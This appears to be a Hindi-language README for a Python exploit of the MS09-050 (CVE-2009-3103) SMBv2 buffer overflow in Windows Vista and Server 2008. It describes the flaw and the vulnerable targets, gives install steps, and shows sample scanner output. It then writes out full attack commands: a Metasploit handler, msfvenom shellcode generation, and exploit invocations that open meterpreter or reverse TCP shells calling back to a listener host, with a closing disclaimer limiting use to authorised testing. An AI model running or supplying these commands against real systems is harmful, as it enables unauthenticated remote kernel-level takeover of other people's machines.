
MS09-050 (CVE-2009-3103) SMBv2 srv2.sys बफ़र ओवरफ़्लो के लिए Python exploit, जिसमें vulnerability scanner, arch auto-detection, और x86/x64 reverse shell payloads शामिल हैं।
CVE-2009-3103
Windows Vista और Server 2008 ने एक नए कर्नेल ड्राइवर, srv2.sys के साथ SMBv2 पेश किया। यह ड्राइवर SMB negotiate अनुरोधों में Process Id High फ़ील्ड को मान्य नहीं करता है। इस फ़ील्ड में विशेष रूप से तैयार किया गया मान भेजकर, एक हमलावर srv2.sys को एक नियंत्रित मान के साथ फ़ंक्शन पॉइंटर टेबल में इंडेक्स करने का कारण बनता है, जिससे हमलावर द्वारा प्रदान किए गए पते को डीरेफ़रेंस किया जाता है।
परिणाम कर्नेल संदर्भ में मनमाना कोड एक्ज़ीक्यूशन है, किसी प्रमाणीकरण की आवश्यकता नहीं। हमलावर को केवल पोर्ट 445 तक पहुंचने की आवश्यकता है।
Microsoft ने इसे अक्टूबर 2009 (KB975517) में पैच किया। कोई भी अनपैच्ड Vista SP1/SP2 या Server 2008 SP1 सिस्टम भेद्य है।
| लक्ष्य OS | आर्किटेक्चर |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (pre-R2) | x64 |
--msf-payload के साथ-s)[+] सफलता, [-] त्रुटि, [!] चेतावनी, [*] जानकारीgit clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
आवश्यकताएँ:
rpcclient (smbclient पैकेज से), इंजेक्शन के बाद पेलोड को ट्रिगर करने के लिए उपयोग किया जाता हैmsfvenom, केवल तभी आवश्यक जब --msfvenom फ़्लैग का उपयोग किया जा रहा होDebian/Ubuntu पर:
sudo apt install smbclient
Arch Linux पर:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
आउटपुट:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
meterpreter/reverse_tcp स्टेजर का उपयोग करता है। पहले अपना हैंडलर शुरू करें:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
फिर एक्सप्लॉइट चलाएँ:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
रॉ शेलकोड एक बार जनरेट करें, msfvenom के बिना पुनः उपयोग करें:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
फिर इसे एक्सप्लॉइट को दें:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request भेजता हैsrv2.sys में एक बफ़र को ओवरफ़्लो करता हैयह टूल केवल अधिकृत पेनेट्रेशन टेस्टिंग और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अधिकांश क्षेत्राधिकारों में एक आपराधिक अपराध है। किसी भी लक्ष्य के विरुद्ध इस टूल का उपयोग करने से पहले आपको सिस्टम स्वामी से स्पष्ट लिखित अनुमति प्राप्त करनी होगी। लेखक कोई दायित्व नहीं मानते हैं और इस सॉफ़्टवेयर के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं।
इस टूल का उपयोग करके, आप सहमत हैं कि:
ज़िम्मेदारी से उपयोग करें। नैतिक रूप से हैक करें।